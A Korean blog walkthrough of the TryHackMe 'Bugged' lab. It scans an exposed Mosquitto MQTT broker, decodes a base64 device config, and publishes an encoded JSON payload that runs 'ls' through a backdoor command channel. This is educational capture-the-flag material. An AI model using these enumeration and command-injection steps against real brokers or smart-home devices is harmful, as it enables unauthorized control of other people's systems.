도청된 글 || TryHackme

Mar 04 2023
이것은 tryhackme enjoy의 Bugged room에 대한 글입니다 :) 방 설명: John은 네트워크를 통해 이상한 트래픽이 이동하는 것을 발견했을 때 스마트 가전 제품을 작업하고 있었습니다. 이 이상한 네트워크 통신이 무엇인지 알아낼 수 있습니까? 머신을 시작하고 nmap을 사용하여 열거를 수행합니다. Mosquitto 서비스란 무엇입니까? Mosquitto는 MQTT(Message Queue Telemetry Transport) 프로토콜을 구현하는 오픈 소스 메시지 브로커입니다.

이것은 tryhackme enjoy의 Bugged room에 대한 글입니다 :)

객실 설명:

John은 네트워크를 통해 이동하는 이상한 트래픽을 발견했을 때 스마트 가전 제품을 연구하고 있었습니다. 이 이상한 네트워크 통신이 무엇인지 알아낼 수 있습니까?

컴퓨터를 시작하고 nmap으로 열거를 수행합니다.

nmap -vv $IP -A -Pn -p- -sC -oN scan.txt

  • $IP: 검사할 대상 IP 주소를 지정합니다.
  • -A: OS 감지, 버전 감지, 스크립트 스캔 및 traceroute 사용
  • -Pn: 모든 호스트를 온라인으로 처리하고 호스트 검색 단계를 건너뜁니다.
  • -p-: 포트 1부터 65535까지 모든 포트를 스캔합니다.
  • -sC: 대상에 대해 기본 NSE 스크립트를 실행하여 자세한 정보를 검색합니다.
  • -oN scan.txt: 스캔 결과를 scan.txt사람이 쉽게 읽을 수 있는 일반 형식의 파일로 저장합니다.

PORT     STATE SERVICE                  REASON  VERSION
1883/tcp open  mosquitto version 2.0.14 syn-ack
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     $SYS/broker/load/messages/received/15min: 47.38
|     $SYS/broker/load/sockets/1min: 2.87
|     $SYS/broker/clients/total: 2
|     $SYS/broker/publish/bytes/sent: 422
|     $SYS/broker/clients/disconnected: 0
|     $SYS/broker/bytes/sent: 5514
|     $SYS/broker/store/messages/count: 42
|     $SYS/broker/load/bytes/sent/5min: 597.99
|     $SYS/broker/load/messages/sent/1min: 111.29
|     $SYS/broker/clients/maximum: 2
|     $SYS/broker/clients/active: 2
|     $SYS/broker/bytes/received: 47413
|     $SYS/broker/load/publish/sent/15min: 2.13
|     $SYS/broker/clients/inactive: 0
|     $SYS/broker/uptime: 671 seconds
|     $SYS/broker/load/sockets/5min: 2.12
|     $SYS/broker/publish/bytes/received: 33745
|     $SYS/broker/load/bytes/sent/15min: 286.45
|     kitchen/toaster: {"id":853181157576674615,"in_use":false,"temperature":149.82721,"toast_time":318}
|     $SYS/broker/load/bytes/sent/1min: 1316.67
|     livingroom/speaker: {"id":2116385366850576413,"gain":42}
|     storage/thermostat: {"id":10224526942559968400,"temperature":23.645702}
|     $SYS/broker/version: mosquitto version 2.0.14
|     $SYS/broker/load/bytes/received/1min: 4171.39
|     $SYS/broker/subscriptions/count: 3
|     $SYS/broker/store/messages/bytes: 282
|     $SYS/broker/messages/sent: 1034
|     $SYS/broker/load/connections/5min: 0.53
|     $SYS/broker/retained messages/count: 41
|     $SYS/broker/publish/messages/sent: 33
|     $SYS/broker/load/connections/15min: 0.23
|     $SYS/broker/load/messages/sent/15min: 49.35
|     $SYS/broker/messages/stored: 42
|     $SYS/broker/messages/received: 1004
|     $SYS/broker/load/bytes/received/5min: 3786.75
|     $SYS/broker/load/publish/sent/5min: 6.02
|     $SYS/broker/load/messages/received/1min: 91.21
|     $SYS/broker/clients/connected: 2
|     $SYS/broker/load/publish/sent/1min: 20.90
|     patio/lights: {"id":9199305131225484610,"color":"RED","status":"OFF"}
|     $SYS/broker/load/connections/1min: 1.44
|     $SYS/broker/load/messages/received/5min: 81.04
|     $SYS/broker/load/sockets/15min: 1.30
|     $SYS/broker/load/messages/sent/5min: 86.68
|_    $SYS/broker/load/bytes/received/15min: 2229.70


모기 서비스는 무엇입니까:

Mosquitto는 MQTT(Message Queue Telemetry Transport) 프로토콜을 구현하는 오픈 소스 메시지 브로커입니다. 이를 통해 장치는 게시-구독 패턴으로 서로 통신할 수 있으며, 여기에서 장치는 관심 주제를 구독하고 해당 주제에 게시된 메시지를 수신할 수 있습니다.

간단히 말해서 Mosquitto는 장치 간의 중재자 역할을 하여 장치가 서로 대화하도록 돕습니다. 장치는 Mosquitto에 메시지를 보낼 수 있으며 Mosquitto는 해당 메시지를 수신하도록 등록한 다른 장치에 해당 메시지를 배포합니다. 이는 홈 오토메이션에서 산업용 IoT(Internet of Things) 시스템에 이르기까지 광범위한 응용 분야에서 유용합니다.

장치가 Mosquitto를 사용하여 메시지를 보내려는 경우 먼저 특정 포트(예: 포트 1883)에서 Mosquitto 서버에 대한 연결을 설정합니다. 그런 다음 주제와 페이로드(전송 중인 데이터)가 포함된 메시지를 보냅니다. 주제는 전송되는 메시지 유형(예: "온도" 또는 "습도")을 식별하는 문자열입니다.

해당 주제에 대한 메시지 수신에 관심이 있는 다른 장치는 관심 있는 주제와 함께 Mosquitto에 메시지를 전송하여 구독할 수 있습니다. 해당 주제에 새 메시지가 게시되면 Mosquitto는 이를 구독한 모든 장치에 메시지를 보냅니다. .

전반적으로 Mosquitto는 장치가 MQTT 프로토콜을 사용하여 네트워크를 통해 서로 통신할 수 있는 간단하고 효율적인 방법을 제공합니다.

자, 이제 이 서비스와 상호 작용하기 위해 다음 도구를 사용할 것입니다.

  • mosquitto_pub (다운로드 | Eclipse Mosquitto 에서 다운로드 )
  • MQTT-Explorer-0.4.0-beta1.AppImage(다운로드https://mqtt-explorer.com/)

MQTT-Explorer-0.4.0-beta1.AppImage를 실행할 수 있습니다.

머신 IP로 호스트를 설정하고 1883으로 포트를 설정한 다음 연결을 누릅니다.

이제 몇 초 기다리면 화면에 몇 가지 메시지가 팝업되는 것을 볼 수 있습니다. 방 설명을 기억하십시오(John은 네트워크를 통해 이동하는 이상한 트래픽을 알아차립니다).

우리가 가지고 있는 주제를 확인한 후 구성으로 설정된 흥미로운 긴 base64 문자열을 볼 수 있습니다. 복사하여 사이버 셰프에서 디코딩을 시도할 수 있습니다.

보시다시피 JSON 형식의 일부 구성이 있고 가장 흥미로운 것은 registered_commands이므로 여기에서 가능한 명령 실행이 있습니다.

sub_topic에 hello 메시지를 보내고 응답을 확인합니다.

mosquitto_pub -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'hello' -h $Machine_IP

  • -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub: 메시지가 게시될 주제를 지정합니다. 보내는 메시지 유형을 식별하는 문자열입니다.
  • -m 'hello': 게시할 메시지를 지정합니다. 이 경우 메시지는 문자열 "hello"입니다.
  • -h $Machine_IP: 메시지를 게시할 MQTT 브로커의 IP 주소를 지정합니다.

이제 응답을 확인해 보겠습니다.

새 주제가 추가되었음을 눈치채셨을 것입니다. 하나는 응답을 제공하고('pub'에서) 다른 하나는 보낸 메시지를 표시합니다('sub'에서). 응답이 base64 형식이라는 점은 주목할 가치가 있으므로 이를 디코딩하고 무엇을 제공하는지 살펴보겠습니다.

메시지 형식이 잘못되었음을 알 수 있듯이 지정된 대로 메시지를 인코딩해야 합니다. 이전에 ls 명령으로 찾은 JSON 구성의 정보를 제공하여 작동하는지 확인합니다.

이제 다음과 같은 메시지를 보냅니다.

mosquitto_pub -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m 'eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIsICJhcmciOiAibHMifQ==' -h $Machine_IP

이제 깃발만 읽으면 됩니다. 직접 해보세요 :)

읽어주셔서 감사합니다